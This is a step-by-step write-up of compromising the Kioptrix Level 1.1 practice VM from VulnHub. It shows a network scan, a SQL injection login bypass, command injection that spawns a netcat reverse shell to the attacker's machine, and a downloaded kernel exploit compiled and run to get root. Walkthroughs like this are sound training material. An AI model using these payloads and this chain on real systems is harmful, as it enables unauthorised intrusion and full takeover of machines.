Writeup for Kioptrix: Level 1.1 (#2)

This is a continuation from the Kioptrix Virtual Machines (VM) on VulnHub.

Click to view Writeup for Kioptrix level 1 (#1) VM.

lvl-2-000

Let’s get started!

Scan the network using nmap to discover hosts
> nmap -sS -T5 192.168.117.0/24

Nmap scan report for 192.168.117.130

Host is up (0.00018s latency).

Not shown: 994 closed ports

PORT     STATE SERVICE

22/tcp   open  ssh

80/tcp   open  http

111/tcp  open  rpcbind

443/tcp  open  https

631/tcp  open  ipp

3306/tcp open  mysql

MAC Address: 00:0C:29:A1:02:89 (VMware)

Navigate to the website using a browser (port 80) 

lvl-2-001

Wow, there is a login page. Let’s test for SQL Injection vulnerability

Enter the following input as the username (take note of the space behind):

‘ or 1=1 — 

And we are in!

lvl-2-002pngNow let’s try the options and see if they works.

lvl-2-003

Well, it works!

Setup netcat listener on your machine, port 6666
> nc -lvp 6666

lvl-2-004

Perform netcat connectivity on target machine and spawn a reverse shell (refer to above image)

192.168.117.128; /usr/local/bin/nc 192.168.117.128 6666 -e /bin/sh

Observe the terminal which you are running the netcat listener

root@kali:~/Desktop/kioptrix# nc -lvp 6666
listening on [any] 6666 …
192.168.117.130: inverse host lookup failed: Unknown host
connect to [192.168.117.128] from (UNKNOWN) [192.168.117.130] 32771
id
uid=48(apache) gid=48(apache) groups=48(apache)

Now you have a shell as user apache.

Check systme kernel version
> uname -a

Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux

Google for vulnerability on “Linux kernel 2.6.9-55”

Check out : CVE-2009-2698, Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) – ‘ip_append_data()’ Ring0 Privilege Escalation (1)

Download the exploit code to your machine
> cd /tmp
> wget ‘https://www.exploit-db.com/download/9542&#8217;

Transfer the exploit code to the target machine
> service apache2 start
> cd /var/www/html/
> mv ~/Desktop/kioptrix/9542.c .

Download the file from target machine
> wget ‘http://192.168.117.128/9542.c&#8217;

–23:44:28– http://192.168.117.128/9542.c
=> `9542.c’
Connecting to 192.168.117.128:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 2,645 (2.6K) [text/x-csrc]

0K .. 100% 280.27 MB/s

23:44:28 (280.27 MB/s) – `9542.c’ saved [2645/2645]

The download is a successful.

Compile your exploit on target machine
> gcc 9542.c
> ls

9542.c
a.out

Run your exploit to get root
> ./a.out

sh: no job control in this shell
sh-3.00# id
uid=0(root) gid=0(root) groups=48(apache)

Congrats, you have gotten root.

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